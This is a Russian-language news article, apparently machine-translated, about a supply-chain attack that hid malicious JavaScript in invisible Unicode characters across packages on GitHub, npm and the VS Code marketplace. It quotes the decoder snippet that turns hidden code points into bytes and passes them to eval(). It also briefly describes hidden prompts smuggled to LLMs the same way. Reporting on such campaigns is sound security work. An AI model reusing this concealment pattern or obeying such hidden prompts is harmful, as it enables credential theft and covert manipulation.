Невидимый код отображается с помощью Зоны общественного пользования (иногда называемый «Доступ для публичного использования»), которые представляют собой диапазоны в спецификации Unicode для специальных символов, зарезервированных для частного использования при определении смайлов, флагов и других символов. Кодовые точки представляют собой каждую букву американского алфавита при передаче на компьютеры, но их вывод совершенно невидим для людей. Люди, просматривающие код или использующие статический анализ инструменты видят только пробелы или пустые строки. Для интерпретатора JavaScript кодовые точки преобразуются в исполняемый код.
Невидимые символы Юникода были изобретены десятилетия назад, а затем практически забыты. То есть до 2024 года, когда хакеры начали использовать символы для сокрытия вредоносных подсказок. подается в двигатели искусственного интеллекта. Хотя текст был невидим для людей и текстовых сканеров, у LLM не было проблем с его чтением и выполнением вредоносных инструкций, которые они передавали. Механизмы искусственного интеллекта с тех пор разработали ограждения, предназначенные для ограничения использования персонажей, но такая защита периодически переопределяется.
С тех пор техника Unicode стала использоваться в более традиционных атаках вредоносных программ. В одном из пакетов, проанализированных Aikido в пятничном посте, злоумышленники закодировали вредоносную полезную нагрузку, используя невидимые символы. Проверка кода ничего не показывает. Однако во время выполнения JavaScript небольшой декодер извлекает реальные байты и передает их в функцию eval().
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
«Строка обратной галочки, переданная в s(), выглядит пустой в каждом средстве просмотра, но она наполнена невидимыми символами, которые после декодирования создают полную вредоносную полезную нагрузку», — объяснили в Айкидо. «В прошлых инцидентах эта декодированная полезная нагрузка извлекала и выполняла сценарий второго этапа, используя Солану в качестве канала доставки, способного украсть токены, учетные данные и секреты».
Найдя новую порцию пакетов на GitHub, исследователи обнаружили аналогичные на npm и на торговой площадке VS Code. В Айкидо заявили, что обнаруженный 151 пакет, скорее всего, представляет собой небольшую долю, разбросанную по всей кампании, поскольку многие из них были удалены с момента первой загрузки.
Лучший способ защититься от атак в цепочке поставок — тщательно проверять пакеты и их зависимости перед включением их в проекты. Это включает в себя проверку названий пакетов и поиск опечаток. Если подозрения по поводу использования LLM верны, вредоносные пакеты могут все чаще оказаться законными, особенно когда невидимые символы Юникода кодируют вредоносные полезные данные.
2026-03-13 20:18:00
1773557122
#Атака #на #цепочку #поставок #использованием #невидимого #кода #поражает #GitHub #другие #репозитории
Читайте также

